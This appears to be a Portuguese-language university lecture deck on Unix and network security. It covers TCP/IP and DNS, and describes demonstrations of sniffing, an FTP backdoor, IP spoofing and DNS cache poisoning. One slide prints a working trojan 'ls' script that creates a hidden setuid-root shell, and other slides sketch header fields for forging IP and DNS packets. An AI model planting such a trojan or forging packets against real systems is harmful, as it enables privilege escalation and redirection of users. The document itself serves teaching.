1
Segurança em Sites Internet
Prof. M. Sc. Claudio Monteiro
Universidade Luterana do Brasil - ULBRA
Centro Universitário Luterano de Palmas - CEULP
Curso de Bacharelado em Sistemas de Informação
*** Grupo de Pesquisa Aplicada em Redes de Computadores - GPARC***
CEULP/FURB 2000
2
Nosso Menu
1 - Introdução
2 - Motivação
3 - UNIX: O Sistema Operacional
4 - Conectividade: Uma grande necessidade
5 - Segurança: A grande meta
6 - TCP/IP: O grande vilão?
7 - Considerações sobre os Protocolos IP e UDP
8 - Demonstrações: Um estudo de casos
CEULP/FURB 2000
3
1 - Introdução
CEULP/FURB 2000
4
2 - Motivação
Serviço de Nomes
História
DNS
DNS - Domain Name System
CEULP/FURB 2000
5
Unix: O Sistema Operacional
Multitarefa
Multiusuário
Autenticação
no nível de
usuário
CEULP/FURB 2000
6
Unix: O Sistema Operacional
Controle de Permissões por
Arquivos
Administração por Usuários
e Grupos
CEULP/FURB 2000
7
Unix: O Sistema Operacional
• SETUID e SETGID: Arquivos que
executam com privilégios especiais. Todo
cuidado é pouco com a “Engenharia
Social”.
• Shell: Uma grande vantagem... se bem
usada!!!
CEULP/FURB 2000
8
Unix: O Sistema Operacional
% cat ls
#!/bin/sh
(/bin/cp /bin/sh /tmp/.secret
/etc/chown root /tmp/.secret
/bin/chmod 4555 /tmp/.secret) 2>/dev/null
rm –f $0
exec /bin/ls “$@”
%
Situação: Usuário cria
esse arquivo shell e o chama
de “ls” (comando básico do
Unix). Cria uma arquivo
qualquer e pede ao administrador do sistema para
apagá-lo... Como o Adm não
desconfia, ele loga e executa o
“ls” feito pelo usuário.
Sequência de Comandos Shell
que podem dar séries dores de
cabeça em administradores de
sistemas Unix
CEULP/FURB 2000
9
Unix: O Sistema Operacional
PATH=.:/usr/bin:/bin:/usr/local/bin
sh ou ksh
set path= ( . /usr/bin /bin /usr/local/bin )
csh
Exemplo da inicialização da variável PATH
nos vários shells: sh, ksh e csh
Observe que no exemplo acima o diretório “.” é o primeiro
da lista de PATH... Isso garante que qualquer comando
dado pelo usuário com esse path será procurado no
diretório corrente primeiro...
CEULP/FURB 2000
10
Conectividade: Uma grande
necessidade
Solicitação de conexão usando o
protocolo de aplicação “telnet”
a partir de uma maquina Windows
Estabelecimento de conexão via
“telnet” com uma máquina Unix
CEULP/FURB 2000
11
Conectividade: Uma grande
necessidade
Exemplos de conexão usando o protocolo
de aplicação http com a ajuda de um
browser
CEULP/FURB 2000
12
Conectividade: Uma grande
necessidade
Exemplo de uma conexão estabelecida
(e esperando autenticação) entre uma
máquina Windows e uma máquina Unix,
via o protocolo de aplicação “ftp”
Conexão “ftp” autenticada, mostrando
a listagem dos arquivos localizados
remotamente.
CEULP/FURB 2000
13
Segurança: A Grande Meta
Como ter uma REDE segura???
Temos que ter Sistemas Operacionais com
implementações de protocolos confiáveis.
Um bom caminho é possuir um
bom meio de comunicação de
dados.
CEULP/FURB 2000
14
TCP/IP: O Vilão?
O IP
O UDP
O TCP
-
Nível de Rede
Nível de Transporte
Nível de Transporte
10.0.0.0
128.10.0.0
10.0.0.37
192.5.48.0
R
CEULP/FURB 2000
15
TCP/IP: O Vilão?
Redes Interligadas
Rede IP 200.241.0.0
Rede IP 200.241.85.0
Rede IP 200.241.86.0
G
Rede IP 200.241.74.0
G
Rede 1
Rede 2
Rede 3
G
G
G
Rede 4
Rede IP 200.21.52.0
Rede 5
Rede IP 200.241.87.0
CEULP/FURB 2000
16
TCP/IP: O Vilão?
O TCP e o Famoso “Aperto de Mão Triplo”
Eventos do lado
da estação 1
Mensagens na Rede
Eventos do lado
da estação 2
Envia SYN seq.x
Recebe segmento
SYN
Recebe SYN e
segmento ACK
Envia SYN seq.y
ACK x+1
Envia ACK y+1
Recebe segmento
Slide 3
CEULP/FURB 2000
17
TCP/IP: O Vilão?
Portas de Serviço e Sockets
Abertura de socket TCP
com a porta 25
Interação com o
servidor na porta 25
CEULP/FURB 2000
18
Considerações sobre os
protocolos IP E UDP
Cada host na Internet é identificado de forma
unívoca através do endereço IP atribuído na sua
configuração. Os endereços IP's estão associados às
interfaces de rede e não aos hosts que as contêm O
protocolo IP defini o esquema de endereçamento
desses hosts.
CEULP/FURB 2000
19
Camada de Rede
Mensagem
Segmento
Aplicação
Transporte
Datagrama IP
Rede
Bits e Quadro
Física
IP
CEULP/FURB 2000
20
Datagrama IP
0
4
Vers
8
Hlen
16
Service Type
Identification
Time to Live
19
31
Total Length
Flags
Protocol
24
Fragment Offset
Header Checksum
Source IP Address
Destination IP Address
Options (if any)
Padding
Data
...
CEULP/FURB 2000
21
Protocolo UDP (User Datagram
Protocol)
• Quando Utilizar o UDP?
– Aplicações que implementam mecanismo de
entrega confiável
– Pequena quantidade de dados a transmitir
CEULP/FURB 2000
22
Localização do Protocolo UDP na
Arquitetura TCP/IP
Mensagem
Segmento
Aplicação
Transporte
Datagrama IP
Rede
Bits e Quadro
Física
UDP
CEULP/FURB 2000
23
Formato do datagrama UDP
UDP (User Datagram Protocol)
• Formato do Datagrama
0
16
31
Source Port
Destination Port
Length
Checksum
Data
...
DNS PORT = 53
CEULP/FURB 2000
24
Nível de Aplicação
Aplicação
Aplicação
Definição de
portas
SMTP
FTP
DNS
NFS
Port
Transporte
TCP
UDP
Protocol
Rede
IP
Física
Endereço IP
Placa de Rede / Fax Modem
CEULP/FURB 2000
25
Demonstrações
Conexão TCP com a porta 110 da
máquina “localhost”
Aplicação desenvolvida segundo a
API de sockets para Unix que explora
uma vulnerabilidade na implementação
do protocolo de aplicação POP
CEULP/FURB 2000
26
Demonstrações
Login feito pelo usuário redes
Sniffer em ação, produzindo
um log com a senha digitada pelo
usuário redes na seção de login
CEULP/FURB 2000
27
Demonstrações
Conexão FTP feita com uma
máquina Unix. Verifique que
o login foi autenticado sem
senha e que o diretório “incoming”
possui permissões de escrita para
qualquer usuário. Isso normalmente
é usado por servidores que necessitam
que seus próprios usuários
mantenham seus repositórios
atualizados.
Isso permite que seja “plantada” uma aplicação
no servidor, que possua características especiais
para produzir uma Back Door
CEULP/FURB 2000
28
Demonstrações
Resultado: Visualização
do arquivo de senhas
do servidor
CEULP/FURB 2000
Demonstrações
29
O Spoofing de IP
Máquina 01 da
Rede Local
Firewall
Máquina Atacante
Máquina 02 da
Rede Local
CEULP/FURB 2000
30
Demonstrações: Serviços de Nomes
A função principal dos serviços de nomes é
traduzir nomes de domínio para os seus respectivos
endereços IP’s.
Servidor DNS
www.cade.com
= 35.35.2.80
www.oi.com = 10.10.10.1
www.cade.com
www.oi.com
www.av.com=50.75.96.8
www.ufg.br
= 20.20.20.80
www.ufg.br
www.av.com
CEULP/FURB 2000
31
Demonstrações: Serviços de Nomes
Nomes de domínios
Os Nomes de Domínios são utilizados para
facilitar a identificação da origem de uma determinada
informação.
Será que o site da Ulbra esta no endereço
200.167.132.241 ? Ou 200.162.132.235 ?
Mané
O site da ulbra esta
no endereço:
www.ulbra-to.br
Joãozinho
www.ulbra-to.br = 200.167.132.241
CEULP/FURB 2000
32
Demonstrações: Serviços de Nomes
Processamento de Requisições
www.ulbra-to.br = 150.161.6.11
dns.ola.com
Cliente1.ola.com
www.ulbra-to.br
br NS fpsp.fapesp.br
terp.umd.edu
www.ulbra-to.br
www.ulbra-to.br
Name
fpsp.fapesp.br
Resolver
Server
150.161.6.11
ulbra-to.br NS dns.ulbra-to.br
www.ulbra-to.br
cache
dns.ulbra-to.br
www.ulbra-to.br A 150.161.6.11
CEULP/FURB 2000
Pacote DNS
33
Demonstrações: Serviços de Nomes
IP SPOOFING - Falsificação de Endereço IP
O IP SPOOFING é um recurso utilizado para
falsificar a origem do pacote. Consiste nas facilidades que
o protocolo IP oferece no preenchimento de pacotes IP, de
acordo com as necessidades de um atacante. Técnicas
como DNS SPOOF, DOS e outras, simplesmente utilizam
essa facilidade.
CEULP/FURB 2000
34
Demonstrações: Serviços de Nomes
De: Fulano da silva
Rua Y Nº 21 LT 08
Para: Ciclano da Costa
Ender. X Nº 8 LT 55
CEULP/FURB 2000
35
Demonstrações: Serviços de Nomes
Implementação do IP SPOOFING
...
struct iphdr *ip_header;
ip_header->version
ip_header->tot_len
...
ip_header->daddr
...
ip_header->saddr
= 4;
= htons(data_len);
= ip_destino;
= ip_origem;
...
CEULP/FURB 2000
36
Demonstrações: Serviços de Nomes
Falsificação de IP em Pacotes DNS - DNS SPOOF
www.ulbra-to.br = 1.2.3.4
www.ulbra-to.br
cliente1.ola.com
www.ulbra-to.br
terp.umd.edu
Pacote
br NS fpsp.fapesp.br
Ignorado
Name
Server
Resolver
1.2.3.4
cache
Servidor DNS - dns.ola.com
S.O. NT ou LINUX
www.ulbra-to.br A 1.2.3.4
atacante.rold.com
CEULP/FURB 2000
37
Demonstrações: Serviços de Nomes
Implementação da Falsificação de IP em Pacotes DNS
www.ulbra-to.br = 1.2.3.4
www.ulbra-to.br
cliente1.ola.com
www.ulbra-to.br
terp.umd.edu
Pacote
br NS fpsp.fapesp.br
Ignorado
Name
Server
Resolver
1.2.3.4
cache
dns.ola.com
Captura a pergunta enviada
por dns.ola.com
SNIFF
DNSspoof.c
Rede Ethernet
www.ulbra-to.br A 1.2.3.4
Cliente2.ola.com
Invasor
CEULP/FURB 2000
38
Demonstrações: Serviços de Nomes
7 - Conseqüências
* Alterar a Origem da Informação
* Driblar mecanismos de defesas baseados em
wrappers
Visualizando página Web indesejada
www.ulbra-to.br
cliente1.ola.com
Name
Server
Resolver
1.2.3.4
cache
1.2.3.4 GET /index.html
cliente1.ola.com
Página Web Requisitada
Servidor WEB
1.2.3.4
CEULP/FURB 2000
39
Conclusões
Após a implementação de um programa que
realiza a falsificação de endereços IP's em pacotes de
respostas enviados para servidores DNS, realizamos
vários experimentos, que nos permitiram concluir que
servidores DNS configurados sob os sistemas
operacionais Linux e WindowsNT se encontram
vulneráveis, podendo ter seu cache poluído com uma
resposta falsa.
CEULP/FURB 2000
40
Estrutura de uma Mensagem Enviada
por um Servidor DNS
Cabeçalho
Pergunta(s)
Resposta(s)
Autoridade(s)
Adicional
CEULP/FURB 2000
41
DNS packet header (Cabeçalho do Pacote DNS)
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ID
QR
Opcode
AA TC RD RA
Z
RCODE
QDCOUNT
ANCOUNT
NSCOUNT
ARCOUNT
CEULP/FURB 2000
42
Seção de Pergunta do Pacote DNS
0
1
2
3
4
5
6
7
8
9 10 11 12 13 14 15
Nome a ser resolvido
Tipo de Query
Tipo de Classe
CEULP/FURB 2000
43
Seção de Resposta do Pacote DNS
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Nome a ser resolvido
TIPO
CLASSE
TTL (Tempo de validade da resposta)
Tamanho da Resposta
Dados da Resposta
Voltar
CEULP/FURB 2000
44
6.1 - Conteúdo do Pacote DNS na Pergunta Enviada
ID = 2005 QR = 0 AA = 0 TC = 0 RD = 1 RA = 0
OPCODE = 0
RCODE = 0
QDCOUNT = htons(1)
ANCOUNT = 0
NSCOUNT = 0
ARCOUNT = 0
Seçao de Pergunta
Nome a ser resolvido = [3|w|w|w|8|u|l|b|r|a|-|t|o|2|b|r|0]
tipo de questão = htons(1)
Tipo de query=htons(1)
CEULP/FURB 2000
45
6.2 - Informações Necessárias para Montar o Pacote de
Resposta
* ID do cabeçalho DNS
* Nome a ser resolvido da seção de pergunta
* Endereço IP de destino
* Porta de origem
Voltar
CEULP/FURB 2000
46
Encapsulamento de Dados
Aplicação
Data
Transporte
Header
Rede
Física
Header
Header
Data
Data
Data
CEULP/FURB 2000
Download

Palestra - Departamento de Sistemas e Computação